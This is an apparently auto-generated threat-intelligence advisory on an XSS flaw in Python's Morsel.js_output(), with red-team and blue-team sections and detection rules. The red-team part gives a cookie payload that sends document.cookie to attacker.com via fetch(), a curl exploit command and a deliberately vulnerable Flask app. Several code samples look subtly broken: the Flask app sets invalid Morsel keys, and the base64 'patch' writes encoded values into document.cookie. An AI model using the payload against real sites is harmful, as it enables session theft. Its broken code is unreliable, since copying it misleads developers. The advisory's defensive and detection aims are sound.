CVE-2026-6019

Executive Summary

CVE-2026-6019 describes a cross-site scripting (XSS) vulnerability in the Python standard library’s http.cookies.Morsel.js_output() method. This method is designed to output a cookie value as a JavaScript string literal inside an inline <script> element. The flaw lies in its incomplete escaping: it only escapes the double-quote character (") for JavaScript string context but fails to neutralize the HTML parser-sensitive sequence </script> within the generated script element. An attacker who can control the cookie value can inject a </script> tag, prematurely closing the script block and allowing arbitrary HTML/JavaScript injection into the page. The official mitigation suggests base64-encoding the cookie value to prevent the injection of the </script> sequence.

This vulnerability affects any Python application that uses http.cookies.Morsel.js_output() to embed cookie values into HTML pages without additional sanitization. The CVSS score is listed as 0.0, likely due to incomplete NVD data, but the actual severity is high (XSS leading to session hijacking, data theft, or defacement). No official patch has been released as of this report.

Supply Chain & Package Security

This vulnerability resides in the Python standard library (http.cookies), which is part of the CPython distribution. It is not a third-party package, but it affects all Python applications that use the js_output() method. Supply chain risk is elevated because the vulnerable code is part of the core language runtime, and many downstream packages may rely on it indirectly. Developers should audit their code for any use of Morsel.js_output() and apply the base64-encoding workaround until an official patch is released.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – the attacker can inject the malicious cookie value remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – the victim must visit a page that renders the cookie value via js_output().
• Scope (S): Changed (C) – the injected script can affect the user’s browser context.
• Confidentiality (C): High (H) – potential data theft.
• Integrity (I): High (H) – script injection can modify page content.
• Availability (A): Low (L) – limited impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L
Estimated Score: 8.7 (High)

Threat Level: High – the vulnerability is easy to exploit and can lead to full XSS attacks.

Deep Dive & Mechanics

The http.cookies.Morsel.js_output() method is designed to output a cookie value as a JavaScript string literal inside an inline <script> element. The method escapes the double-quote character (") to prevent breaking the JavaScript string, but it does not escape the </script> sequence. When the browser’s HTML parser encounters </script> inside a <script> element, it closes the script block, allowing the attacker to inject arbitrary HTML or JavaScript.

Vulnerable Code Path:

1. An attacker sets a cookie with a value containing </script><script>alert('XSS')</script>.
2. The server-side Python code uses Morsel.js_output() to embed this cookie value into an HTML page.
3. The generated HTML contains: <script>document.cookie = "...</script><script>alert('XSS')</script>..."</script>.
4. The browser parses the first </script> and closes the script block, then executes the injected <script> tag.

Mitigation: Base64-encoding the cookie value prevents the </script> sequence from appearing in the output, as base64 encoding transforms the value into a safe string of alphanumeric characters.

Vulnerable vs. Patched Code

Vulnerable Code (Python standard library):

def js_output(self, attrs=None):
    # ... (existing code)
    return '<script>document.cookie = "' + self.value.replace('"', '\\"') + '";</script>'

Patched Code (Mitigation via base64 encoding):

import base64

def safe_js_output(self, attrs=None):
    encoded_value = base64.b64encode(self.value.encode()).decode()
    return '<script>document.cookie = "' + encoded_value + '";</script>'

The patched version base64-encodes the cookie value, ensuring that the </script> sequence cannot appear in the output. The client-side JavaScript must then decode the base64 value.

Exploitation & Lab Setup

Red Team

Exploit Scenario:

1. Prerequisites: The target web application uses Morsel.js_output() to embed cookie values into HTML pages.
2. Attack Vector: The attacker sets a malicious cookie on the victim’s browser (e.g., via a subdomain or a vulnerable endpoint that sets cookies).
3. Payload: Cookie value: </script><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
4. Trigger: The victim visits a page that calls js_output() on the malicious cookie.
5. Result: The injected script executes, exfiltrating the victim’s cookies to the attacker’s server.

Lab Setup:

• Environment: Python 3.x with a simple Flask or Django app that uses http.cookies.Morsel.js_output().
• Steps:
  1. Create a Flask app that sets a cookie and renders it using js_output().
  2. Use a browser or curl to set a malicious cookie.
  3. Visit the vulnerable page and observe the XSS.

Example Flask App (Vulnerable):

from flask import Flask, make_response, request
from http.cookies import Morsel

app = Flask(__name__)

@app.route('/')
def index():
    cookie_val = request.cookies.get('malicious', 'default')
    m = Morsel()
    m['name'] = 'test'
    m['value'] = cookie_val
    return m.js_output()

if __name__ == '__main__':
    app.run()

Exploit Command (using curl):

curl -b "malicious=</script><script>alert('XSS')</script>" http://localhost:5000/

Blue Team

Detection & Prevention:

1. Code Audit: Search for any use of Morsel.js_output() in the codebase.
2. Input Validation: Validate and sanitize cookie values before passing them to js_output().
3. Output Encoding: Use base64 encoding as a workaround.
4. WAF Rules: Block requests containing </script> in cookie values.
5. CSP Headers: Implement Content Security Policy to restrict script execution.

Indicators of Compromise (IOCs)

• Network: HTTP requests with cookie values containing </script> or base64-encoded payloads.
• Logs: Server logs showing js_output() calls with suspicious cookie values.
• File: Python source files containing Morsel.js_output().
• Behavior: Unexpected script execution in the browser, cookie theft, or page defacement.

Detection Engineering

YARA Rule

rule CVE_2026_6019_js_output_XSS {
    meta:
        description = "Detects use of vulnerable Morsel.js_output() method"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-6019"
    strings:
        $js_output = "js_output"
        $morsel = "Morsel"
        $script_tag = "<script>"
    condition:
        $js_output and $morsel and $script_tag
}

Sigma Rule

title: CVE-2026-6019 - XSS via Morsel.js_output()
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with malicious cookie values targeting Morsel.js_output()
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: python
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/*'
        cs-cookie|contains: '</script>'
    condition: selection
falsepositives:
    - Legitimate use of </script> in cookie values (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-6019 - XSS via Morsel.js_output()"; flow:to_server; content:"</script>"; http_cookie; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Workaround: Base64-encode the cookie value before passing it to js_output(). Decode it on the client side.
2. Code Replacement: Replace Morsel.js_output() with a custom function that properly escapes </script> or uses JSON encoding.
3. Patch: Await an official CPython patch that adds proper escaping for </script>.
4. Monitoring: Implement logging and alerting for any use of js_output() in production.
5. User Education: Inform developers about the risks of embedding raw cookie values into script elements.

Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valters.it.

{/* [Security Hash: 58FA556964C76090FCEFC45A] */}